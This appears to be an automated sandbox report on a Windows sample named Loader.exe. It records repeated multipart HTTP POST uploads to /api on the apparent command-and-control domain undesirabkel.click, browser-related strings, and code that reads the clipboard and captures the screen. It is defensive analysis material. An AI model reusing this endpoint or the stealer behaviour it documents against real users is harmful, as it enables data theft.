Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=OKFWFD1CV0UIFBA85V7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8797Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=XAUBSJLSPWTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20402Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=XYJVGHQPA055X9ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1236Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=OTJ1QCSBXYCPIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569678Host: undesirabkel.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 89Host: undesirabkel.click

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: undesirabkel.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: undesirabkel.click

Source: Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Loader.exe, 00000003.00000003.1783747043.000000000343E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1783776479.000000000343F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: Loader.exe, 00000003.00000003.1806230046.000000000343E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1806503830.000000000343E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&k
Source: Loader.exe, 00000003.00000003.1783747043.000000000343E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Loader.exe, 00000003.00000003.1783747043.000000000343E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1783776479.000000000343F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: Loader.exe, 00000003.00000003.1783747043.000000000343E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1783776479.000000000343F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Loader.exe, 00000003.00000003.1783776479.000000000343F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: Loader.exe, 00000003.00000003.1714565206.00000000059D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Loader.exe, 00000003.00000003.1783483872.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Loader.exe, 00000003.00000003.1783483872.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Loader.exe, 00000003.00000003.1714565206.00000000059D3000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1760947199.0000000005987000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1761076038.0000000005987000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714647625.0000000005987000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1760850531.0000000005987000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Loader.exe, 00000003.00000003.1714647625.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Loader.exe, 00000003.00000003.1714565206.00000000059D3000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1760947199.0000000005987000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1761076038.0000000005987000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714647625.0000000005987000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1760850531.0000000005987000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Loader.exe, 00000003.00000003.1714647625.0000000005962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Loader.exe, 00000003.00000003.1882356018.0000000003416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/
Source: Loader.exe, 00000003.00000003.1903481642.0000000003416000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1881971476.0000000005941000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000002.1905041050.0000000003417000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1902629994.0000000003412000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1882184319.0000000003411000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1881885413.000000000340F000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1882279810.0000000005943000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1853019894.000000000340C000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1852907348.0000000005941000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000002.1905606530.0000000005944000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1882356018.0000000003416000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1902815699.0000000005944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/api
Source: Loader.exe, 00000003.00000003.1902857262.000000000336C000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1903575535.000000000336F000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000002.1904716370.0000000003370000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/apiC
Source: Loader.exe, 00000003.00000003.1810035314.0000000003411000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1809849509.000000000340C000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1810109813.0000000003416000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1835602520.0000000003416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/apibV7RydFqE=
Source: Loader.exe, 00000003.00000003.1882184319.0000000003411000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1881885413.000000000340F000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1853019894.000000000340C000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1882356018.0000000003416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/apic
Source: Loader.exe, 00000003.00000003.1882184319.0000000003411000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1881885413.000000000340F000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1853019894.000000000340C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/apii
Source: Loader.exe, 00000003.00000003.1852907348.0000000005954000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click:443/apiG
Source: Loader.exe, 00000003.00000003.1806230046.000000000343E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1806503830.000000000343E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1783747043.000000000343E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Loader.exe, 00000003.00000003.1783747043.000000000343E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1783776479.000000000343F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Loader.exe, 00000003.00000003.1783483872.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Loader.exe, 00000003.00000003.1783483872.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Loader.exe, 00000003.00000003.1783483872.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Loader.exe, 00000003.00000003.1783483872.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Loader.exe, 00000003.00000003.1783483872.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.4:49741 version: TLS 1.2

Source: C:\Users\user\Desktop\Loader.exe

Code function: 3_2_00433600 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00433600

Source: C:\Users\user\Desktop\Loader.exe

Code function: 3_2_00433600 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00433600

Source: C:\Users\user\Desktop\Loader.exe

Code function: 3_2_00433B7A GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_00433B7A

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00921000	0_2_00921000
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009340A2	0_2_009340A2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0092F645	0_2_0092F645
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00947882	0_2_00947882
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00939DB0	0_2_00939DB0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00945D4E	0_2_00945D4E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_009340A2	2_2_009340A2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00921000	2_2_00921000
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0092F645	2_2_0092F645
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00947882	2_2_00947882
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00939DB0	2_2_00939DB0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00945D4E	2_2_00945D4E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0042C9D4	3_2_0042C9D4
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00410A57	3_2_00410A57
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00415200	3_2_00415200
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00409370	3_2_00409370
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00426B70	3_2_00426B70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00421B10	3_2_00421B10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043CB20	3_2_0043CB20
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00423D40	3_2_00423D40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0040CD4E	3_2_0040CD4E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004085F0	3_2_004085F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00440E00	3_2_00440E00
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004396A0	3_2_004396A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00441700	3_2_00441700
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0040D7CF	3_2_0040D7CF
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00408800	3_2_00408800
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041780D	3_2_0041780D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004410D0	3_2_004410D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0042788F	3_2_0042788F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00403900	3_2_00403900
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041C900	3_2_0041C900
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00412100	3_2_00412100
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043A120	3_2_0043A120
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00405930	3_2_00405930
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043D1C0	3_2_0043D1C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004081D0	3_2_004081D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043A9D6	3_2_0043A9D6
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004259E4	3_2_004259E4
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00433180	3_2_00433180
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00424990	3_2_00424990
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00406240	3_2_00406240
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00431210	3_2_00431210
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041E220	3_2_0041E220
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00427A3F	3_2_00427A3F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004042B0	3_2_004042B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004402B0	3_2_004402B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041DB40	3_2_0041DB40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00422370	3_2_00422370
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00408B00	3_2_00408B00
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00424B00	3_2_00424B00
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00428307	3_2_00428307
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004403D0	3_2_004403D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004413E0	3_2_004413E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00404BF0	3_2_00404BF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041AB80	3_2_0041AB80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00438C5D	3_2_00438C5D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00416C77	3_2_00416C77
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00437C78	3_2_00437C78
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0042AC30	3_2_0042AC30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0042F4F6	3_2_0042F4F6
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00419C90	3_2_00419C90
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00416492	3_2_00416492
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0042CCA2	3_2_0042CCA2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004074A0	3_2_004074A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004264B0	3_2_004264B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00438CB0	3_2_00438CB0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041E540	3_2_0041E540
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00440550	3_2_00440550
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041C561	3_2_0041C561
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0042D57F	3_2_0042D57F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004385C7	3_2_004385C7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00411DC9	3_2_00411DC9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00418DE6	3_2_00418DE6
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0040ADEC	3_2_0040ADEC
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004115F1	3_2_004115F1
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00420583	3_2_00420583
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0042E64D	3_2_0042E64D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041966B	3_2_0041966B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00440600	3_2_00440600
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041DE10	3_2_0041DE10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00417E1A	3_2_00417E1A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00422E3F	3_2_00422E3F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00402EC0	3_2_00402EC0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004066D0	3_2_004066D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00426ED0	3_2_00426ED0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00440690	3_2_00440690
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004146A0	3_2_004146A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00426EB0	3_2_00426EB0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00429740	3_2_00429740
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0040A770	3_2_0040A770
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00428770	3_2_00428770
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00438F10	3_2_00438F10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043D710	3_2_0043D710
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00415F19	3_2_00415F19
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00436F2C	3_2_00436F2C
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043A7D0	3_2_0043A7D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_004227E0	3_2_004227E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00416FF0	3_2_00416FF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0040C782	3_2_0040C782
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043AF80	3_2_0043AF80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00408F90	3_2_00408F90
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00416790	3_2_00416790
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_00430797	3_2_00430797
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0041E7A0	3_2_0041E7A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 3_2_0043F7B2	3_2_0043F7B2

Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 0092FBD4 appears 34 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 0093D0C6 appears 40 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 0092FB50 appears 100 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00407FE0 appears 41 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00930820 appears 40 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 009381E8 appears 42 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00414690 appears 95 times

Source: Loader.exe, 00000000.00000000.1656410195.00000000009AF000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Loader.exe
Source: Loader.exe, 00000000.00000002.1668107611.0000000003343000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Loader.exe
Source: Loader.exe, 00000002.00000002.1667276415.00000000009AF000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Loader.exe
